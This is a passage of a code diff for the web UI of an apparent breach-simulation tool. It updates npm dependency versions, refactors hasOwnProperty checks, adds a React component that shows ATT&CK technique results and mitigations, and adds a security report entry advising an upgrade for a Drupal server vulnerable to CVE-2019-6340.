+      "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==",
       "requires": {
         "js-yaml": "^3.10.0",
         "tslib": "^1.13.0"
@@ -2328,12 +2311,12 @@
       }
     },
     "@yarnpkg/pnp": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.1.0.tgz",
-      "integrity": "sha512-b8NlB71EFifv1jDX47nFaRXrykROxHcS7YuGb2dQ+Gp9gqJ0thIaZ3yB9+qWF8acdWtNcMpjCug4xkfAAR5Odw==",
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz",
+      "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==",
       "requires": {
         "@types/node": "^13.7.0",
-        "@yarnpkg/fslib": "^2.1.0",
+        "@yarnpkg/fslib": "^2.2.1",
         "tslib": "^1.13.0"
       },
       "dependencies": {
@@ -2345,13 +2328,13 @@
       }
     },
     "@yarnpkg/shell": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.1.0.tgz",
-      "integrity": "sha512-9i9ZWqeKHGV0DOfdxTVq5zl73Li8Fg947v57uLBEaytNF+HywkDfouNkg/6HfgBrpI0WH8OJ9Pz/uDaE5cpctw==",
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz",
+      "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==",
       "requires": {
-        "@yarnpkg/fslib": "^2.1.0",
-        "@yarnpkg/parsers": "^2.1.0",
-        "clipanion": "^2.4.2",
+        "@yarnpkg/fslib": "^2.2.0",
+        "@yarnpkg/parsers": "^2.2.0",
+        "clipanion": "^2.4.4",
         "cross-spawn": "7.0.3",
         "fast-glob": "^3.2.2",
         "stream-buffers": "^3.0.2",
@@ -3034,9 +3017,9 @@
       }
     },
     "bl": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz",
-      "integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==",
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz",
+      "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==",
       "requires": {
         "buffer": "^5.5.0",
         "inherits": "^2.0.4",
@@ -3129,9 +3112,9 @@
       "dev": true
     },
     "bootstrap": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.0.tgz",
-      "integrity": "sha512-Z93QoXvodoVslA+PWNdk23Hze4RBYIkpb5h8I2HY2Tu2h7A0LpAgLcyrhrSUyo2/Oxm2l1fRZPs1e5hnxnliXA=="
+      "version": "4.5.1",
+      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
+      "integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
     },
     "boxen": {
       "version": "4.2.0",
@@ -3223,9 +3206,9 @@
           }
         },
         "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
           "requires": {
             "has-flag": "^4.0.0"
           }
@@ -3620,7 +3603,8 @@
     "chownr": {
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
-      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
+      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+      "dev": true
     },
     "chrome-trace-event": {
       "version": "1.0.2",
@@ -3692,9 +3676,9 @@
       }
     },
     "cli-boxes": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.0.tgz",
-      "integrity": "sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w=="
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
+      "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
     },
     "cli-cursor": {
       "version": "3.1.0",
@@ -3716,9 +3700,9 @@
       "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
     },
     "clipanion": {
-      "version": "2.4.4",
-      "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.4.4.tgz",
-      "integrity": "sha512-KjyCBz8xplftHjIK/nOqq/9b3hPlXbAAo/AxoITrO4yySpQ6a9QSJDAfOx9PfcRUHteeqbdNxZKSPfeFqQ7plg=="
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz",
+      "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw=="
     },
     "cliui": {
       "version": "5.0.0",
@@ -6028,9 +6012,9 @@
       "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
     },
     "filepond": {
-      "version": "4.19.0",
-      "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.0.tgz",
-      "integrity": "sha512-v/lYpu5YXoM5ctNxCaM4LMFedgFcZjp+YSkjJWSUiG+2i79YRuLOS99WWqMWTEdwW5av2AEzDYRp56VR6Qc5aA=="
+      "version": "4.19.2",
+      "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz",
+      "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w=="
     },
     "fill-range": {
       "version": "4.0.0",
@@ -6227,14 +6211,6 @@
         "universalify": "^0.1.0"
       }
     },
-    "fs-minipass": {
-      "version": "1.2.7",
-      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
-      "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
-      "requires": {
-        "minipass": "^2.6.0"
-      }
-    },
     "fs-readdir-recursive": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
@@ -8518,30 +8494,6 @@
         }
       }
     },
-    "minipass": {
-      "version": "2.9.0",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
-      "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
-      "requires": {
-        "safe-buffer": "^5.1.2",
-        "yallist": "^3.0.0"
-      },
-      "dependencies": {
-        "yallist": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
-          "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
-        }
-      }
-    },
-    "minizlib": {
-      "version": "1.3.3",
-      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
-      "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
-      "requires": {
-        "minipass": "^2.9.0"
-      }
-    },
     "mississippi": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
@@ -8749,9 +8701,9 @@
       }
     },
     "needle": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.0.tgz",
-      "integrity": "sha512-o/qITSDR0JCyCKEQ1/1bnUXMmznxabbwi/Y4WwJElf+evwJNFNwIDMCCt5IigFVxgeGBJESLohGtIS9gEzo1fA==",
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz",
+      "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==",
       "requires": {
         "debug": "^3.2.6",
         "iconv-lite": "^0.4.4",
@@ -12362,9 +12314,9 @@
       }
     },
     "open": {
-      "version": "7.1.0",
-      "resolved": "https://registry.npmjs.org/open/-/open-7.1.0.tgz",
-      "integrity": "sha512-lLPI5KgOwEYCDKXf4np7y1PBEkj7HYIyP2DY8mVDRnx0VIIu6bNrRB0R66TuO7Mack6EnTNLm4uvcl1UoklTpA==",
+      "version": "7.2.1",
+      "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz",
+      "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==",
       "requires": {
         "is-docker": "^2.0.0",
         "is-wsl": "^2.1.1"
@@ -13203,9 +13155,9 @@
       "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
     },
     "pretty-bytes": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz",
-      "integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg=="
+      "version": "5.4.1",
+      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz",
+      "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA=="
     },
     "pretty-error": {
       "version": "2.1.1",
@@ -13702,11 +13654,10 @@
       "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
     },
     "react-json-tree": {
-      "version": "0.11.2",
-      "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz",
-      "integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==",
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz",
+      "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==",
       "requires": {
-        "babel-runtime": "^6.6.1",
         "prop-types": "^15.5.8",
         "react-base16-styling": "^0.5.1"
       }
@@ -14585,10 +14536,13 @@
       }
     },
     "serialize-javascript": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz",
-      "integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ==",
-      "dev": true
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+      "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+      "dev": true,
+      "requires": {
+        "randombytes": "^2.1.0"
+      }
     },
     "serve-index": {
       "version": "1.9.1",
@@ -14904,9 +14858,9 @@
       }
     },
     "snyk": {
-      "version": "1.368.0",
-      "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.368.0.tgz",
-      "integrity": "sha512-ZwX0VxxKVBKqmycPiTpx2El1hPEeNJNKQRyez0yFtIlUM3FscsOpgtfRFWNQKA6znkI075JIpmmShpcrQRLpcQ==",
+      "version": "1.373.0",
+      "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.0.tgz",
+      "integrity": "sha512-P/BF3DnMbP2NFHw4RcQ2w4MwashUH2/lkezNq0bn51OJqktfrn/aebcJxe6RtSKemww5z8DSen8D2REz1Vzc6Q==",
       "requires": {
         "@snyk/cli-interface": "2.8.1",
         "@snyk/dep-graph": "1.18.3",
@@ -14935,7 +14889,7 @@
         "snyk-go-plugin": "1.16.0",
         "snyk-gradle-plugin": "3.5.1",
         "snyk-module": "3.1.0",
-        "snyk-mvn-plugin": "2.18.0",
+        "snyk-mvn-plugin": "2.19.1",
         "snyk-nodejs-lockfile-parser": "1.26.3",
         "snyk-nuget-plugin": "1.18.1",
         "snyk-php-plugin": "1.9.0",
@@ -15330,9 +15284,9 @@
           "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
         },
         "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
           "requires": {
             "has-flag": "^4.0.0"
           }
@@ -15398,12 +15352,12 @@
       }
     },
     "snyk-mvn-plugin": {
-      "version": "2.18.0",
-      "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.18.0.tgz",
-      "integrity": "sha512-ika5I/8G3wDUT7L+3mDIyzh6Xc4bK8sBhcfFnhpFS0WvOMRAdF4kpshfZ1HzFRsRfe/4YgA3T/D7EoJRtu7Aiw==",
+      "version": "2.19.1",
+      "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz",
+      "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==",
       "requires": {
         "@snyk/cli-interface": "2.8.1",
-        "@snyk/java-call-graph-builder": "1.12.1",
+        "@snyk/java-call-graph-builder": "1.13.1",
         "debug": "^4.1.1",
         "needle": "^2.5.0",
         "tmp": "^0.1.0",
@@ -16862,9 +16816,9 @@
       "integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
     },
     "terser": {
-      "version": "4.6.13",
-      "resolved": "https://registry.npmjs.org/terser/-/terser-4.6.13.tgz",
-      "integrity": "sha512-wMvqukYgVpQlymbnNbabVZbtM6PN63AzqexpwJL8tbh/mRT9LE5o+ruVduAGL7D6Fpjl+Q+06U5I9Ul82odAhw==",
+      "version": "4.8.0",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz",
+      "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==",
       "dev": true,
       "requires": {
         "commander": "^2.20.0",
@@ -16881,16 +16835,16 @@
       }
     },
     "terser-webpack-plugin": {
-      "version": "1.4.3",
-      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz",
-      "integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==",
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz",
+      "integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==",
       "dev": true,
       "requires": {
         "cacache": "^12.0.2",
         "find-cache-dir": "^2.1.0",
         "is-wsl": "^1.1.0",
         "schema-utils": "^1.0.0",
-        "serialize-javascript": "^2.1.2",
+        "serialize-javascript": "^4.0.0",
         "source-map": "^0.6.1",
         "terser": "^4.1.2",
         "webpack-sources": "^1.4.0",
@@ -17238,9 +17192,9 @@
       }
     },
     "underscore": {
-      "version": "1.10.2",
-      "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
-      "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
+      "version": "1.11.0",
+      "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz",
+      "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw=="
     },
     "unherit": {
       "version": "1.1.3",
@@ -17519,9 +17473,9 @@
           "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
         },
         "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
           "requires": {
             "has-flag": "^4.0.0"
           }

monkey/monkey_island/cc/ui/package.json

@@ -65,14 +65,14 @@
     "@fortawesome/free-solid-svg-icons": "^5.13.1",
     "@fortawesome/react-fontawesome": "^0.1.11",
     "@kunukn/react-collapse": "^1.2.7",
-    "bootstrap": "^4.5.0",
+    "bootstrap": "^4.5.1",
     "classnames": "^2.2.6",
     "core-js": "^3.6.5",
     "d3": "^5.14.1",
     "downloadjs": "^1.4.7",
     "fetch": "^1.1.0",
     "file-saver": "^2.0.2",
-    "filepond": "^4.19.0",
+    "filepond": "^4.19.2",
     "jwt-decode": "^2.2.0",
     "lodash": "^4.17.20",
     "marked": "^1.1.1",
@@ -94,7 +94,7 @@
     "react-filepond": "^7.0.1",
     "react-graph-vis": "^1.0.5",
     "react-hot-loader": "^4.12.20",
-    "react-json-tree": "^0.11.2",
+    "react-json-tree": "^0.12.0",
     "react-jsonschema-form-bs4": "^1.7.1",
     "react-particles-js": "^3.3.0",
     "react-redux": "^5.1.2",
@@ -105,7 +105,7 @@
     "react-tooltip-lite": "^1.12.0",
     "redux": "^4.0.4",
     "sha3": "^2.1.3",
-    "snyk": "^1.368.0"
+    "snyk": "^1.373.0"
   },
   "snyk": true
 }

monkey/monkey_island/cc/ui/src/components/attack/techniques/T1099.js

@@ -0,0 +1,45 @@
+import React from 'react';
+import ReactTable from 'react-table';
+import {renderMachineFromSystemData, ScanStatus} from './Helpers';
+import MitigationsComponent from './MitigationsComponent';
+
+class T1099 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getColumns() {
+      return ([{
+        columns: [
+            { Header: 'Machine',
+              id: 'machine',
+              accessor: x => renderMachineFromSystemData(x.machine),
+              style: {'whiteSpace': 'unset'}},
+            { Header: 'Result',
+              id: 'result',
+              accessor: x => x.result,
+              style: {'whiteSpace': 'unset'}}
+          ]
+      }])
+  }
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+            columns={T1099.getColumns()}
+            data={this.props.data.info}
+            showPagination={false}
+            defaultPageSize={this.props.data.info.length}
+            /> : ''}
+            <MitigationsComponent mitigations={this.props.data.mitigations}/>
+        </div>
+      );
+    }
+  }
+
+  export default T1099;

monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js

@@ -274,9 +274,9 @@ class PreviewPaneComponent extends AuthComponent {
     let label = '';
     if (!this.props.item) {
       label = '';
-    } else if (this.props.item.hasOwnProperty('label')) {
+    } else if (Object.prototype.hasOwnProperty.call(this.props.item, 'label')) {
       label = this.props.item['label'];
-    } else if (this.props.item.hasOwnProperty('_label')) {
+    } else if (Object.prototype.hasOwnProperty.call(this.props.item, '_label')) {
       label = this.props.item['_label'];
     }
 

monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js

@@ -140,7 +140,7 @@ class ConfigurePageComponent extends AuthComponent {
     // Change value in attack configuration
     // Go trough each column in matrix, searching for technique
     Object.entries(this.state.attackConfig).forEach(techType => {
-      if (techType[1].properties.hasOwnProperty(technique)) {
+      if (Object.prototype.hasOwnProperty.call(techType[1].properties, technique)) {
         let tempMatrix = this.state.attackConfig;
         tempMatrix[techType[0]].properties[technique].value = value;
         this.setState({attackConfig: tempMatrix});
@@ -151,7 +151,8 @@ class ConfigurePageComponent extends AuthComponent {
           Object.entries(this.state.attackConfig).forEach(otherType => {
             Object.entries(otherType[1].properties).forEach(otherTech => {
               // If this technique depends on a technique that was changed
-              if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
+              if (Object.prototype.hasOwnProperty.call(otherTech[1], 'depends_on') &&
+                otherTech[1]['depends_on'].includes(technique)) {
                 this.attackTechniqueChange(otherTech[0], value, true)
               }
             })
@@ -393,7 +394,7 @@ class ConfigurePageComponent extends AuthComponent {
 
   render() {
     let displayedSchema = {};
-    if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
+    if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties') && this.state.selectedSection !== 'attack') {
       displayedSchema = this.state.schema['properties'][this.state.selectedSection];
       displayedSchema['definitions'] = this.state.schema['definitions'];
     }

monkey/monkey_island/cc/ui/src/components/pages/MapPage.js

@@ -64,7 +64,7 @@ class MapPageComponent extends AuthComponent {
     this.authFetch('/api/netmap')
       .then(res => res.json())
       .then(res => {
-        if (res.hasOwnProperty('edges')) {
+        if (Object.prototype.hasOwnProperty.call(res, 'edges')) {
           res.edges.forEach(edge => {
             edge.color = {'color': edgeGroupToColor(edge.group)};
           });

monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js

@@ -3,7 +3,7 @@ import {Row, Col, Container, Form, Button} from 'react-bootstrap';
 
 import AuthService from '../../services/AuthService';
 import monkeyDetective from '../../images/detective-monkey.svg';
-import ParticleBackground from "../ui-components/ParticleBackground";
+import ParticleBackground from '../ui-components/ParticleBackground';
 
 class RegisterPageComponent extends React.Component {
 

monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js

@@ -31,7 +31,7 @@ class ReportPageComponent extends AuthComponent {
   static selectReport(reports) {
     let url = window.location.href;
     for (let report_name in reports) {
-      if (reports.hasOwnProperty(report_name) && url.endsWith(reports[report_name])) {
+      if (Object.prototype.hasOwnProperty.call(reports, report_name) && url.endsWith(reports[report_name])) {
         return reports[report_name];
       }
     }

monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js

@@ -229,7 +229,7 @@ class RunMonkeyPageComponent extends AuthComponent {
         // update existing state, not run-over
         let prevRes = this.awsTable.state.result;
         for (let key in result) {
-          if (result.hasOwnProperty(key)) {
+          if (Object.prototype.hasOwnProperty.call(result, key)) {
             prevRes[key] = result[key];
           }
         }

monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js

@@ -134,7 +134,7 @@ class AttackReport extends React.Component {
 
   getTechniqueByTitle(title){
     for (const tech_id in this.state.techniques){
-      if (! this.state.techniques.hasOwnProperty(tech_id)) {return false;}
+      if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)) {return false;}
       let technique = this.state.techniques[tech_id];
       if (technique.title === title){
         technique['tech_id'] = tech_id;
@@ -148,10 +148,10 @@ class AttackReport extends React.Component {
     // add links to techniques
     schema = schema.properties;
     for(const type in schema){
-      if (! schema.hasOwnProperty(type)) {return false;}
+      if (! Object.prototype.hasOwnProperty.call(schema, type)) {return false;}
       let typeTechniques = schema[type].properties;
       for(const tech_id in typeTechniques){
-        if (! typeTechniques.hasOwnProperty(tech_id)) {return false;}
+        if (! Object.prototype.hasOwnProperty.call(typeTechniques, tech_id)) {return false;}
         if (typeTechniques[tech_id] !== undefined){
           techniques[tech_id]['link'] = typeTechniques[tech_id].link
         }

monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js

@@ -784,6 +784,23 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
+  generateDrupalIssue(issue) {
+    return (
+      <>
+        Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
+        <CollapsibleWellComponent>
+          Drupal server at <span className="badge badge-primary">{issue.machine}</span> (<span
+          className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
+          className="badge badge-danger">remote command execution</span> attack.
+          <br/>
+          The attack was made possible because the server is using an old version of Drupal, for which REST API is
+          enabled. For possible workarounds, fixes and more info read
+          <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340">here</a>.
+        </CollapsibleWellComponent>
+      </>
+    );
+  }
+
   generateWebLogicIssue(issue) {
     return (
       <>
@@ -905,6 +922,9 @@ class ReportPageComponent extends AuthComponent {
       case 'mssql':
         issueData = this.generateMSSQLIssue(issue);
         break;
+      case 'drupal':
+        issueData = this.generateDrupalIssue(issue);
+        break;
     }
     return <li key={JSON.stringify(issue)}>{issueData}</li>;
   };

monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js

@@ -15,7 +15,7 @@ class ReportMatrixComponent extends React.Component {
   getColumns() {
     let columns = [];
     for(const type_key in this.state.schema.properties){
-      if (! this.state.schema.properties.hasOwnProperty(type_key)){
+      if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){
         continue;
       }
       let tech_type = this.state.schema.properties[type_key];
@@ -32,11 +32,11 @@ class ReportMatrixComponent extends React.Component {
   getTableRows() {
     let rows = [];
     for (const tech_id in this.state.techniques) {
-      if (this.state.techniques.hasOwnProperty(tech_id)){
+      if (Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){
         let technique_added = false;
         let technique = this.state.techniques[tech_id];
         for(const row of rows){
-          if (! row.hasOwnProperty(technique.type)){
+          if (! Object.prototype.hasOwnProperty.call(row, technique.type)){
             row[technique.type] = technique;
             technique_added = true;
             break;

monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js

@@ -38,7 +38,8 @@ class SelectedTechnique extends React.Component {
           </span>
           <span>
             <a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
-              <FontAwesomeIcon icon={faQuestionCircle}/>
+              <FontAwesomeIcon icon={faQuestionCircle}
+                               color={AttackReport.getComponentClass(tech_id, this.state.techniques) === 'collapse-default' ? '#ffffff' : '#000000'}/>
             </a>
           </span>
         </button>

monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js

@@ -43,8 +43,9 @@ class TechniqueDropdowns extends React.Component{
             {this.state.techniques[tech_id].title}
           </span>
           <span>
